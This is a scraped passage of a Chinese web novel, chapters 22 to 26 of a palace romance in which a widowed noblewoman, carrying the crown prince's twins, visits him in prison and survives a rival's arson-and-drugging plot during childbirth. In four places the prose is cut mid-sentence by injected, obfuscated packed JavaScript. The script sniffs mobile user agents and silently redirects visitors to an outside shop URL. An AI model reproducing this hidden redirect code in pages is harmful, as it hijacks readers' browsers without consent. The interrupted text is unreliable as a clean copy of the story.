崔朝雪心里涌起了丝丝暖意,“多谢殿下。” 胥宸起身,随手撩起了被子,便于她上榻。 这貌似寻常的动作令崔朝雪上榻的动作停了一瞬。 她不太适应。 毕竟眼前人的身份是尊贵的太子。 可他一副请你上榻的架式。 她不好拂了他的意,便硬着头皮上了榻。 待她在榻上坐好,胥宸随手一撩,竟是帮她抚平了被子。 崔朝雪的眼神在平整的被子上流转。 说不清此刻是什么样的心情。 按理说,他们两个的身份,是不应该如此相处的。 可偏偏,胥宸表现得如此理所当然。 她坐稳后,一时间不知道做什么好。 躺下么? 晕倒时可以,现在清醒了,不合适。 可说什么呢? 总不能说,更深露重,殿下请回吧? 他待在她的旁边,她内心无比地安定。 安定之余是惶恐。 像是面对一件稀世珍宝。 光是看着便心满意足。 但是不配拥有。 胥宸没有要走的意思,大马金刀地坐着,那副理所当然的姿态,令崔朝雪生出一种自己待在东宫的错觉。 “孤已经差太医来给谢夫人诊过脉,谢夫人腹中怀的是龙凤胎,一切安好。” 他竟然让人给自己诊了脉? 崔朝雪内心微微一动,“谢殿下。” 她今晚说得最多的便是感谢,好像除了感谢再不会其他的了。 “你知道自己怀的是龙凤胎?” “臣妇只知是双胎,不确定是不是龙凤胎。”秦叔诊脉时便说了是双胎,对她来说,是男是女可能不是那么重要。如果是为胥宸着想的话,还是男孩更好一些。 “龙凤呈祥,是祥瑞之兆。” 胥宸能这么说,崔朝雪很是惊讶。 在当今朝代,生双胎多伴有凶险之兆,所以,普遍认为双胎不吉利,会引来灾祸。 她和姐姐便是例子,明明是双胎,却只敢对外说是一胎。 以至于很多人不知道崔家另有一个女儿。 胥宸是太子,不可能不懂这些道理。但他对自己说,这是祥瑞之兆。 崔朝雪明白,他是在安慰自己。 一个性情孤冷的人能说出这样的话,她很是感激。 她抿了抿唇,“借殿下吉言,臣妇的孩子定会平安顺遂。” 毕竟,这孩子的血脉有他一份功劳。 “以后,谢夫人有何打算?” “打算?” 崔朝雪心下有些茫然。 那股报复的劲头泄了。 她竟不知道下一步做什么才好。 这个侯夫人,她是不屑当的。 是回隆县,还是另寻去处。 她还没想好。 她略一思忖,“臣妇暂时没有别的打算,先生下孩子再说。” “那外室女和她的孩子呢?” “只要她不作妖,臣妇暂时不想有其他动作,算是给腹中孩儿积福吧。” 双胎本就被人说不吉,她目前唯一念头是好好生下孩子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114894|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胥宸一直不走,还在这里问东问西。 崔朝雪心里虽暖,可也不解。 她试探着问道:“殿下最近可有烦忧之事?” 她能帮的,自然会尽全力。 胥宸:“孤,还好。” 对自己关心,却无所图。 她不知道他为何会坐在这里。 想不明白,也懒得想了。 实在无话可说。 两人静坐了一会儿。 胥宸终于起身,“谢夫人,好好休息吧。” 胥宸前脚刚走,竹雪和知晴便跑了进来。 两人一左一右蹲在榻前。 四只眼睛骨碌碌乱转。 崔朝雪哭笑不得:“你们俩这是怎么了?” “夫人,您可吓死我们了。”竹雪叽叽喳喳的,“您是不知道,您在狱里晕了过去,我们都吓得不行。太子殿下最是眼疾手快,他明明只在外头站着,却是像有三头六臂一般,突然就冲了进去,抢在姹紫嫣红前头抱住了您。” 知晴:“就是啊,殿下一路将您给抱了回来。您不知怎么的,一直紧抓着太子殿下的手不放。奴婢们想帮忙,殿下把我们都撵了出去,他独自一人守在这屋里。” 竹雪点头如捣蒜,“太子殿下寸步未离。” 崔朝雪听她俩叽叽喳喳地说完,内心五味杂陈的,“殿下肯定很忙,我生生麻烦了他一天。也不知道会不会对他有什么影响。” 竹雪表情有些向往:“好希望殿下能一直保护夫人啊” 崔朝雪轻弹了下她的脑门,“想什么美事呢。” 她问:“卫婕楚和谢宛宛那边有什么动静?” “没有,从牢里回来都分外安静。今天他们不知道打哪儿弄的银子,去领了谢纲的尸首。” 崔朝雪一惊:“既领了尸首,她们岂不是会发现什么?” 她恨极,手下没个轻重,谢纲受尽折磨而死,浑身血肉模糊,早看不出原来的模样。 做时不觉得有什么,只一门心思想着为姐姐报仇。 可做完了才惊觉,自己原来也有如此狠厉可怕的一面。 这种事情,做便做了,可若是被世人发现、传扬开来,怕是不太好。 竹雪直摆手,“不会不会,前夜牢里失火,谢纲不幸被火烧死,谢宛宛她们勉强领回了一具残骨。什么事情也发现不了。” “失火?”崔朝雪讶然,“这不失为一个法子。” 伤痕无法掩盖,失火是最好的法子。 神不知鬼不觉的。 “你们不是说殿下一直守在我的床榻前吗?”什么时候安排了这么一出? 竹雪笑眯眯的,“殿下人是守在夫人床前不假,但殿下有嘴啊,他吩咐,安公公去做。” 崔朝雪语气感慨,“我还真是欠了太子天大的人情!” 她担忧地问道:“我昏迷的时间里,殿下有没有说过什么?” 她现在开始担心太子对自己的印象。 自己疯狂狠厉的样子,会不会吓到他? 竹雪摇头:“夫人昏迷时,殿下让安公公请了太医过来,确定您身体无碍之后,殿下便一直守在您旁边。期间只要过水。” 崔朝雪:“什么水?” “夫人在想什么呢,就是喝的水啊。”竹雪道,“您嘴唇干燥,殿下喂您喝了水。” 崔朝雪舔了舔唇,“怎么喂的?” “这个嘛,”竹雪和知晴一起摇头,“奴婢不清楚。” 23. 第 23 章 日子平静下来。 自那日太子殿下离开之后,崔朝雪再未见过他。 那日的亲昵与关心,如梦境一般。 他继续做他高高在上的太子。 她则继续侯府夫人的日常。 许是老夫人和谢纲的死给了谢宛宛沉重的打击,她变得小心翼翼,对崔朝雪毕恭毕敬的。卫婕楚则更是安静,独居于一处小院,无事几乎不出院门。 崔朝雪差丫头去探询了一番。 竹雪回来时,眼睛里满是好奇,“不知道卫姑娘哪里来的银两,吃住用皆不需要府里操心。清霞居里新添置了床品和一些用具,吃食采买皆是小荷经手。” 崔朝雪不找她的麻烦,她也不来崔朝雪跟前找不痛快。 同在侯府的屋檐下,两人竟是几个月也不曾碰面。 崔朝雪完全可以找个理由将人给赶走。 毕竟谢纲在时并没给卫婕楚什么名份。 让她离开,理所应当。 可崔朝雪并没有这么做,她倒不是对卫婕楚手下留情,而是看在她腹中胎儿的份上。父母有罪,孩子却无过错。 一切皆等着生下孩子再说。 阳春三月,天气乍暖还寒的时候,秦叔带回来一个坏消息。 “太子殿下被下了大狱!” 崔朝雪惊住,“梁将军边关战事顺利,太子殿下一切都好好的,这怎么就?”她脑子纷乱,“难不成是殿下的身体?” 绝嗣一事,一直未曾听人提起。 是不是东窗事发,被人给发现了? 秦叔摇头:“我仔细打听过了,与绝嗣之事无关。是荣丞相拿出太子私自养兵的证据,皇上雷霆震怒,以太子有谋反之心将其下了大狱。” “太子竟私自养兵?” “证据确凿,太子当庭承认。” “那太子岂不是,”崔朝雪心下惶恐,“岂不是活不成了?” 谋逆可是重罪。 “太子殿下不日便要问斩。荣相府里一派喜气洋洋。太子一死,荣贵妃之子便成了继承大统的唯一人选。荣家本来在朝中就势力强劲,如此更是势不可挡。近些日子更是门庭若市,风头无两。” 崔朝雪忧心如焚,“几月不见,殿下竟遭此大难。”她重重地皱了下眉头,“不行,我要去见见他。” “你要去见太子?” “太子逢此大难,我去问问可有转机。若是没有,”崔朝雪闭了下眼,“也算是带孩子们最后见见他们的父亲。” 秦叔默了一瞬,“既如此,老朽去安排。” “银子多少皆不是问题。只要能见到太子,多少银子都可以。” 崔朝雪知道,太子犯此大罪,很难见上一面。 虽说有钱能使鬼推磨。 但这钱,也得够到一定的数额,才能够达到目的。 秦叔不放心她的身体,可也无奈。 很快,散了大量钱财之后,崔朝雪终于得到了一个面见太子的机会。 夜黑风高的夜晚。她在秦叔的一路带领下,来到了阴森幽暗的大牢里。 在门口处,秦叔停下,将一只灯笼递到崔朝雪手里,小声叮嘱:“只殿下一人在里头,天明之前必须出来。” 离着天亮还有两三个时辰,足够了。 崔朝雪已经是六个多月的身孕,腹部高高隆起。 行走非常不便。 她裹着厚厚的大氅,步履缓慢地走了进去。 厚重的铁门打开,一股浓重的血腥味传来。 崔朝雪紧了紧鼻子,抬眸。 正前方的地面上,靠墙处躺着一个血肉模糊的人。 浓重的血腥味便是从那儿传来的。 崔朝雪鼻子一酸,眼泪唰地涌了出来。 金尊玉贵的太子,竟被折磨成了这副模样。 “殿,殿下!”她将灯笼放置到一旁,声音哽咽,慢慢靠过去。抬手轻轻拍了拍那人的背,那人一动不动的。 那人面朝墙,头发散乱着,被血污揪得一缕一缕的。 若不是秦叔说这里只太子一人。 她都不敢相信眼前之人会是太子。 太子没有反应。 她颤着手指往前,试探着横到他的鼻端。 有淡淡的气息拂过。 她心微微松了下。 人还活着。 她抬手拭了下脸上的泪。 “殿下,你,受苦了。”她吸吸鼻子,“若是有什么法子可以帮到太子殿下,臣妇定倾尽心力,万死不辞。” 她不忍看他这副惨状,若是能帮到他。让她做什么也是愿意的。 那人躺着一动不动。 崔朝雪不放心,“殿下,容臣妇失礼了。” 她想上前帮他清理身上的血污,再让秦叔帮忙看看,他倒底为何会一声不吭。 会不会是伤得太狠了? 为了行动方便,她索性将大氅往侧旁一扔,撸起袖子便要上前。 后颈处突然被人提起,她被拉扯着往后了几步。 一道戏谑的声音淡淡响起。 “谢夫人,你这是要做什么呢?” 听到熟悉的声音,崔朝雪难以置信地扭头,便看到鬓若刀裁、眉如墨画的胥宸玉树临风般出现在她的面前。 “殿,下!”崔朝雪心情大起大落,她惊喜地看着完好无损站在自己面前的太子,惊喜地问道,“殿下没事?” “谁说孤有事了?” 胥宸慢慢踱步到崔朝雪的正前方,眼神淡淡扫向她隆起得有些夸张的腹部。 崔朝雪倒是不在意自己现在臃肿的样子,她发自心底地欢喜,“殿下无事是最好了。” “孤没事,至于为什么没事,谢夫人不必知道。” 崔朝雪不是太关心朝堂之事,能看到他无事,她便放下心来。 “只要殿下无事,臣妇便放心了。” “谢夫人倒是大方,孤听闻为了来见孤,你花了不少的银两。” “钱财都是身外之物,不妨事的。” “那,谢夫人见到我之后,有何话要说?” 花了不少的银两,总不会只见一下吧? “臣妇感念殿下之前的庇护之恩,是以想着,见殿下一面,看有否能帮上忙的。若是能帮上,臣妇自当竭尽全力。能瞧见您没事,心也便安了。” 胥宸挑眉,“就这?” 似有些不信。 “嗯,就是这样。臣妇对殿下之心,日月可鉴。” 胥宸垂眸,露出一抹浅笑。 “荣丞相一派愈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125700|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来愈嚣张,父皇想要将隐患连根拔起,必得先让其放松警惕,在其最松懈的时候,连根拔起。孤,配合父皇而已。” 说是不想解释,他还是耐心给崔朝雪解释了事情缘由。 “为防泄密,孤本不想见你。可奈何你给的银两实在是太多,孤若是不见你,只怕是你要做到散尽家财的地步。孤只好在此见上你一面。” 初时,他真得不想见她。荣丞相耳目众多,他不想在关键时刻露出马脚。 可安成一次又一次来报。 谢夫人的银两在不断地加码。 大有不达目的绝不罢休的架式。 最后,安成小心翼翼地劝道:“殿下,若不然,您还是见谢夫人一面吧。照此下去,谢夫人怕是要散尽家财了。” “她要见孤的心还真是坚决。” 安成点头:“的确。谢夫人可是说了,无论如何都要见上殿下一面。奴才照您的吩咐,说是等人死了再见吧。谢夫人说不行,必须死前见上一面。梁将军都说从未见过如此坚决的女子,哪怕是亲人也做不到此种地步。” 安成很是佩服,“有些下了大狱的官员,妻妾能逃的早逃了,哪有人花重金来见?愿意花重金来见的,必是重要之人。” 胥宸无奈之下,允了。 他倒要看看,她所图是什么。 崔朝雪竟在胥宸的眼眸里看到了一丝宠溺之意。 她闭了下眼。 自己一定是看错了。 她身子重,站得久了,双腿酸涩,腹部也隐有不适。她一手抚向隆起的小腹,一手抚向后方的铁柱,身子缓缓地坐了下去。 胥宸眼神一凛,疾步上前托住了她。 她人没坐到地上,而是倚靠到了他的怀里。 他单手托住她的腰,人则是扎扎实实坐在地上。崔朝雪就势坐到了他的腿上。 两人此时的姿态,等同于她坐在了他的怀里。 崔朝雪挣扎着要起身,可起了几次,没能成功。 她略显尴尬地说道:“殿下,您,您放开我吧,我自己在这里稍坐片刻便好。” 胥宸的声音在她头顶上方淡淡响起,“这种时候了,谢夫人还注重这些个礼节?”他瓮声瓮气地问道,“你身体可还好?” “臣妇身体没事,只是有些累了。” 崔朝雪缓了缓,正欲再起,胥宸的另一只手掌突然覆到了她隆起的腹部,“既然是累了,还乱动什么?” 崔朝雪起了一半的身子僵住,缓了一瞬,慢慢坐了回去。 既然他不介意,她便再坐一会儿好了。 天气是有一点儿寒凉的。 她坐在他腿上,接触不到冰冷的地面。 他的怀抱暖意融融的,似火热的大暖炉。 靠坐在他怀里。 很舒服。 忽然,她的腹部缓缓地动了下,似有波浪翻滚一般。 胥宸的手掌恰好覆在她的腹部,是以真实地感受到了。 他惊奇地抬眸,手掌抬起又重新覆上。 波浪般的翻滚再次袭来。 他瞪大双目,“什么情况?”他迟疑地问道,“你,你的肚子,为何,为何在动?” 崔朝雪扑哧笑出声:“大概是,两个小家伙在向殿下表达感谢吧!” 24. 第 24 章 胥宸没有说话,大掌紧紧贴向崔朝雪的腹部。 胎动在左侧,他便跟着移到左侧。 胎动到了右侧,他的手掌也便跟了过去。 左侧右侧同时出现胎动,他托她腰部的另一只手腾出,绕过来。 两只大掌一起感受两条小生命的胎动。 两条小生命似是感应到了外界。 竟格外活跃起来。 慢悠悠转过来,温吞吞转过去。 这边踹一脚,那头伸个拳头。 胥宸面目冷凝,静静地感受着。 很惊诧,很神奇。 崔朝雪笑过之后有些莫名其妙。 她垂眸,看向两人之间的姿势。 她坐在他腿上,他两只胳膊整个将她圈在自己怀里。 两只手掌则不厌其烦地与孩子们在互动。 这种状况,哪怕身在局中的崔朝雪,也感觉十分地诡异。 她两只手垂在身侧,都不知道往哪里放。 想阻止他,又觉得这可能是他们父子之间难得的相处时光。 不阻止,心里总是七上八下的。 总觉得这是有违常理,是不对的。 这样诡异的状态持续了好一会儿。 靠墙躺着的犯人始终没动。 灯笼发射出昏黄的光,让整个大牢里呈现出一种不太真实的朦胧感。 崔朝雪实在忍不住,轻轻出声:“殿下,可以了。”她声音很是温和,“孩子太闹腾了,容易睡不着。” 胥宸在她腹部滑动的手,猛地滞住。 片刻后,他双手猛地收回,一左一右伸到她的腋下。 往上一提溜。 待她稳稳立到地上,他迅速退开几丈远。 退离的速度之快,让崔朝雪有些反应不过来。 恍若她身上有什么了不得的污物。 他得赶紧避开。 方才两人之间的亲密与温馨,仿佛未曾出现过。 崔朝雪有些尴尬。 她微微垂头,“既然知道殿下无事,臣妇便回去了。” 慌急中,她连大氅都忘了拿。 只顾着急急慌慌地往外走。 刚奔出去几步,那件大氅便轻轻覆到了她的肩头,随之而来的是胥宸淡淡的提醒。 “夜色寒凉,还请谢夫人保重身体。” 崔朝雪身子僵住,头微微向后偏了下,“谢谢!” 双手拢住大氅,低头往外走。 候在外头的秦叔轻轻扶住她。 两人坐上回侯府的马车,秦叔这才问道:“夫人见到殿下了?” 崔朝雪神色有些落寞,“见过了,他一切安好。” 秦叔表情有些怔忪。 呆在牢里的人怎么可能安好? 崔朝雪忙道:“皇上信任,殿下会没事的。” 秦叔长长松了口气:“那就太好了。” 若说对太子殿下的愧疚,秦叔的愧疚最为深重。 毕竟绝嗣药是他亲手端给太子,且是他亲手喂其喝下。 论说起来,崔朝雪并无过错。 错的,就只有他自己罢了。 崔朝雪撩起帘子看了眼外头黑漆漆的天色,“希望他一切顺遂平安。” 秦叔欲言又止。 不能孕育子嗣的太子,怎么可能平安顺遂? 绝嗣一事,总会有爆发的一天。 但事情还没爆发,现在说了,也是徒增烦恼罢了。 秦叔嘴巴张了几张,还是合上了。 随着怀孕月份的增大,崔朝雪出行不便,便哪里也不去了,只安稳待在屋子里。 半个多月后,荣丞相一派被抓,太子被赦,荣贵妃也遭皇上斥责。 听闻这些消息之后,崔朝雪心里安稳了许多。 四月底,一直安安静静的卫婕楚突然生产。 竹雪来报:“夫人,清霞居那边难产,产婆正束手无策呢。” “为何难产?” “产婆说是孩子偏大,不好生产。” 崔朝雪近些日子看了不少医书,她把秦叔叫来,“可有什么良方?” 秦叔递上一个药方,“夫人若是有心想救,照此方子抓一副药,产妇喝下,便可顺利生产。” 同是有孕之人。 崔朝雪于心不忍。 她差人抓来中药,煎好之后,和竹雪一起赶往清霞居。 还未到门口,便听到卫婕楚凄厉的叫声。 产婆:“请夫人使力,再使把力。” 接着便是卫婕楚的叫声。 生孩子如同过关。 她这关,有点儿难。 小荷瞧见崔朝雪,慌忙跪下:“夫人。” 崔朝雪淡淡望了眼里头,“把这碗汤药送给卫姑娘喝了吧。喝下后,生产会顺利些。” 小荷迟疑:“这……” 竹雪不悦地斥责:“我家夫人是为卫姑娘好,你别不识好人心。” 小荷慌忙接下,嘴里连声说着:“不敢,不敢。” 她端着汤药进去。 崔朝雪没走,由竹雪扶着,守在外头。 小荷将汤药捧到卫婕楚跟前:“这是夫人特意送过来的汤药,说是有助您生产。” 卫婕楚披头散发,脸上被汗意布满,她眼睛无神地扫了眼黑乎乎的汤药,“是崔氏亲自送过来的?” “是,夫人还在门口。” 卫婕楚翻了个白眼,“她给我送汤药?”她冷哼一声,“怎么可能?她巴不得我死了,怎么可能好心地给我送汤药?她这是要送我上路吧?” 小荷神色惶恐:“夫人说是有助生产的汤药。” 她心里没底,也不确定倒底是药还是毒。 守在门口的崔朝雪听罢,隔着一道门板,神色冷冷地说道:“姓卫的,我要想杀你,有的是机会,不必赶在这一刻。这是有助你生产的汤药,你喝了吧。” 卫婕楚表情狞狰,如鬼魅一般,她神色凄厉地喊道:“我不喝,我偏不喝。” 她猛地抬手,将小荷手中的汤药打翻在地。 随着噼里啪啦的声响,瓷碗碎片迸溅得到处都是。 汤药也洒了一地。 小荷发出惊叫。 产婆哎哟一声,“夫人哪,您有这力气赶紧生产吧。不可再拖了。” 卫婕楚咬紧牙关,“小荷,挡在门口,不许崔氏踏进来半步。我今天哪怕是死,也绝不喝她给的毒药。” 她认定了是毒药。 崔朝雪:“你还真是恶人恶语,你就笃定我给你的是毒药?你可知,你打翻了你腹中孩子的一条活路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125899|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 秦叔说了,无汤药相助,只怕卫婕楚难闯这关。 闯好了,产妇和孩子能活下一个。 闯不好,二者都得没命。 卫婕楚冷笑连连:“你能给我的孩子活路?这真是我听过的最大的笑话。你要杀我,尽管来便是,不必在这个时候假慈悲假好心。”她冲着门口大喊,“实在令人不齿。” 她发出一声吼叫,拼尽全力生产。 汗水涔涔而下。 可孩子脑袋还是没有露出来。 产婆子急得束手无策。 崔朝雪在外头听了一会儿,转身离开。 竹雪忿忿不平的。 “她真是不识好人心。” “罢了,我这也是多管闲事。生死有命,别管她了。” 竹雪把躺椅移到花园,崔朝雪躺在里头,悠然地享受着阳光。 傍晚,知晴带回了最新的消息。 “夫人,卫姑娘产下一名男婴,死胎。刚生下来时,孩子脸色都是青紫的。产婆说再早半个时辰生出来,兴许还有救。” 竹雪撇嘴:“活该,她要是喝了咱们送去的药,这孩子保准能活。” “以小人之心度君子之腹,”崔朝雪淡淡道,“她也只能是这个下场了。” 说话间,刚生产完的卫婕楚跌跌撞撞地跑了来,姹紫嫣红四名女侍赶紧挡在了崔朝雪跟前。 卫婕楚歇斯底里地呼喊:“崔氏,你还我孩子,你还我孩子!” 崔朝雪蹙眉:“你孩子死了,关我什么事?” “要不是你送汤药气我,我怎会无力气生产?”卫婕楚用手指着崔朝雪,“都是你害的,都是你害的。” “你自己不争气,竟然把帽子扣到我的头上。”崔朝雪烦不胜烦,“我看,我就是太给你脸了。” 她道:“来人哪,将眼前这个疯子赶出侯府,无我的命令,不许放她进来。” 卫婕楚气急败坏,“你,你凭什么?我是谢纲心爱之人,你凭什么将我从这里赶走?我好好地住在清霞居,碍你什么事了?” “你说你是谢纲心爱之人,有谁能够证明?我反正是闻所未闻,若不然,你去地狱把谢纲叫来,让他当面给你证明一下?若是不能,就赶紧给我滚出去。” 卫婕楚骂骂咧咧,“你杀我孩子,赶我出去,必将遭人不齿。” 崔朝雪鄙夷:“偌大侯府,皆是我说了算。名声于我有何用?”她懒怠地摆摆手,“把她给我丢出去。” 善良要分人。 卫婕楚被无情地丢出侯府。 她的物什也一并被丢了出去。 她眼神扫向侯府大门,语气不甘地问:“你们把我身边的小荷怎么样了?” 小荷算是她的忠仆,要走,得带着。 小厮冷笑:“你想什么美事呢。夫人让小荷自行选择,是跟着你浪迹天涯呢,还是在侯府安稳度日。小荷自己选择了后者,以后啊,你自己好自为之吧。”小厮转头,关上大门的瞬间,轻声低语,“别做什么春秋大梦了。” 卫婕楚趴在地上,似丧家之犬,狼狈不堪。 一双手伸了过来。 她慢慢抬头,表情惊喜莫名的。 “苏将军!” 苏子实轻轻将人扶起,“我答应过谢将军,会将你照顾好!” 25. 第 25 章 傍晚,秦叔来给崔朝雪诊脉。 诊完,叮嘱道:“夫人脉象平稳,只是临近生产,需要多走动。不宜生气上火。” 崔朝雪懒懒地甩了下胳膊,“秦叔,我将卫婕楚赶走,你会不会觉得我太心狠了?” 秦叔摇头,“她非良善之人,让她安稳待到生产之日已是仁慈。只是没想到她遭遇难产,却把责任怪到夫人的头上。此种人,早赶走才好。” “我哪能想到她这般疯魔。”崔朝雪叹气,“秦叔说得对,早打发她走才是。” “另外,皇上身体日渐孱弱,太子现在辅政。” “太子平安顺遂,自是最好的。” 现在再提起太子,感觉像隔了天堑。 之前种种,久远得像梦。 5月底的一天,崔朝雪很突然地发动了。 候在府里的两个产婆着急忙慌地赶过来。 秦叔、姹紫嫣红、竹雪、知晴、凡七、凡九等等,全部守在院子里。 崔朝雪生产是大事。 人人都盼望顺利。 变故是突然发生的。 聚在院中翘首以盼的众人一个个歪七扭八地倒下去。 屋内正扶住崔朝雪的两个产婆同样迷迷糊糊,噗通栽倒在地。 痛意使崔朝雪尚保持着一丝清醒。 意识朦胧中,她看到有几个人冲进了自己的产房。 为首的便是卫婕楚。 她内心大骇。 意识到自己遭了暗算。 卫婕楚能大摇大摆走进来,想必守在院子中的人已经中招。 否则姹紫嫣红等人,无论如何也不会让外人肆意闯入。 空气中弥漫着一股烟气。 她每吸入一口,意识便涣散一分。 为了令自己保持清醒,她重重地咬唇。 血腥气使她涣散的意识重新归拢。 她表情冷静地看着卫婕楚一步一步逼近自己的床榻。 卫婕楚表情癫狂,她恣意大笑:“想不到吧?崔氏,你也有今天!” 她指指院子,“外头所有人都已经晕倒,一时半刻是醒不过来的。你不要妄想有人会来救你。”她再指指倒在地上人事不省的两个产婆,“她们也动弹不了。” 她表情好整以暇,“你现在能保持清醒,不过是疼痛使然。”她冷笑,“我即便什么也不做,你也会,和你腹中的孩子慢慢死去。” 她表情逐渐狞狰,“你想不到吧?谢纲死了,还有他的副将苏子实,他愿意为了谢纲赴汤蹈火,他愿意护我周全。他愿意派兵围了侯府,送你们上西天。” 崔朝雪气息孱弱,她咬牙,“如果我死了,你和他也将不得善终。” “凭什么?你不会以为太子殿下会赶来救你吧?”她扬扬得意,“苏子实早就打探清楚,这几个月,你与太子无任何往来。昔日你凭借捐出去的银两和嫁妆,或许得了太子的几分助力。但现在,太子权倾天下,早已不将你这个寡妇放在眼里。” “你,慢慢受死吧。”卫婕楚哈哈大笑,“等你咽气之后,我们会红红火火送你上路。” “你,你们,打算烧了这里?” “对呀,侯府已经起过一次火了,再起一次又如何?”卫婕楚在屋内来回踱步,“火势会消灭所有罪证,苏将军允诺过,会护我周全。” 身下在流血,痛意在蔓延,崔朝雪感觉到了前所未有的无助。 她还是失算了。 她听闻卫婕楚被他人带走,但只以为被带走就结束了。却想不到,他们在这里给自己挖好了陷阱。 他们静默几个月,图谋的便是今日。 自己生产,侯府上下松懈。 用迷烟迷倒众人,让自己一尸三命。 卫婕楚的笑声在屋内漫延。 屋外有窸窸窣窣的脚步声来回走动。 那一定是苏子实的人。 崔朝雪的意识越来越涣散,唇边的血腥气都无法令意识归拢。 她浑身乏力,说不出话,动弹不了。 她感到无助、绝望。 难道,自己今日便要命丧于此? 外头传来刀剑相撞的声音。 崔朝雪猛地扭头。 她仔细倾听,想要知道外头发生了什么。 卫婕楚却是呵呵直笑:“别看了,你不会以为是有人来救你了吧?” 她晃晃手指,“外头都是苏将军的人。你呀,安心赴死吧。” 她眼神变得恶毒,“你一定要和你的孩子一起,去地下向我的孩子赔罪!” “赔……” 她的嘶吼声被打断。 崔朝雪费力地抬眼。 刚刚还嚣张得瑟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136873|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫婕楚,被人踹倒在墙边。 龇牙咧嘴的样子,似濒死的鱼。 她看向突然出现在屋内的人。 泪水涌出眼眶。 胥宸眸色沉沉,他淡淡看她一眼,冷静地吩咐:“来人,助谢夫人生产。” 几名产婆紧急忙慌地跑进来。 有人端着热水,有人拿着湿的布巾。 有两个站到了床前。 “夫人,您保持清醒,使力。” 停了会儿,不见崔朝雪有动静。 一名产婆靠近,惊讶地喊了声:“夫人中了迷烟,使不上力。” 生产的关键时刻,使不上力是一件很可怕的事情。 崔朝雪心里清楚,可手脚不听使唤。 眼泪愈涌愈多。 她眼泪汪汪地望着不远处的人。 安成跑进来,边拭额头上的汗边提醒胥宸:“殿下,您,还是到外头吧。” 女子生产的地方,男子不便在旁。 最重要的是,他是还未成亲的太子。 更不适宜了。 胥宸却在女人泪意朦胧的注视下,突然上前,单膝跪在榻前,手中一粒药丸塞到她的口中,命令她:“吞下去。” 崔朝雪意识迷糊,浑身无力,口不能言。 但心里清楚,太子是不会害自己的。 她闭了下眼,使劲将药丸咽了下去。 胥宸将食指横到她的唇间,“不许睡,使力生产。” 崔朝雪睁大眼睛看着他,眼中蓄满了泪。 天知道,她有多感激他。 哪怕今日命丧于此,她对他也是充满感激的。 他总是在她最需要的时刻,似天神一般降临。 胥宸浓墨中氲着莫名的情绪,他一字一顿,“不想死的话,使劲!” 产婆在旁边教她:“夫人,呼气,吸气,对,对,呼,呼,吸,再呼,再呼……” 崔朝雪眼含热泪,紧紧咬着胥辰的手指,依照产婆的指示,拼尽全力。 某一刻想要睡去,胥宸的指尖猛地顶了下她的上颚,她猛地清醒过来,直直撞入男人浓墨般的眼眸里。 仿佛黄泉路上看到了一线生机。 眼泪肆意流淌,她继续使力! 她得活着。 为了孩子。 为了他! 26. 第 26 章 婴儿的啼哭声清脆而嘹亮。 两个产婆子抱着婴儿靠上前来:“恭喜夫人,贺喜夫人。” 龙凤双胎,安稳落地。 崔朝雪神色疲惫地看了眼,眼中泪意缤纷。 她闯过了这关。 她微微张嘴,胥宸收回已被咬出鲜血的手指。 他慢慢起身。 看看她,再看看两名皱巴巴的婴孩。 神色有些莫名。 崔朝雪左手扒着床沿,猛地一翻身,整个人滚落在地。 染满血污的裙子铺了满地。 她虔诚叩首。 “多谢殿下救命之恩。” 胥宸眸底情绪涌动,厉声喝斥:“还不快滚上榻。” 她已力竭,从榻上滚下已是不易,想要自己爬回榻上,简直比登天还难。 她趴在地上一动不动。 胥宸抿唇,猛地弯腰上前,在一众惊呼声中,抱起满身血污的女人,小心将其放到了榻上。 在本朝,产妇多被视为不洁不物,男子进入产房恐会带来不祥之兆。所以,女子生产之时,男子通常不会入内,更别提与产妇有亲近的举止。 顶多是守在外头,待女子生产完成之后,到榻前问候两句。 而胥宸贵为太子,却不惜冒天下之大不韪,闯进产房救护她和孩子的性命,又在方才,不顾她身上的血污,小心将其抱起。 直把安成和产婆子们惊得目瞪口呆。 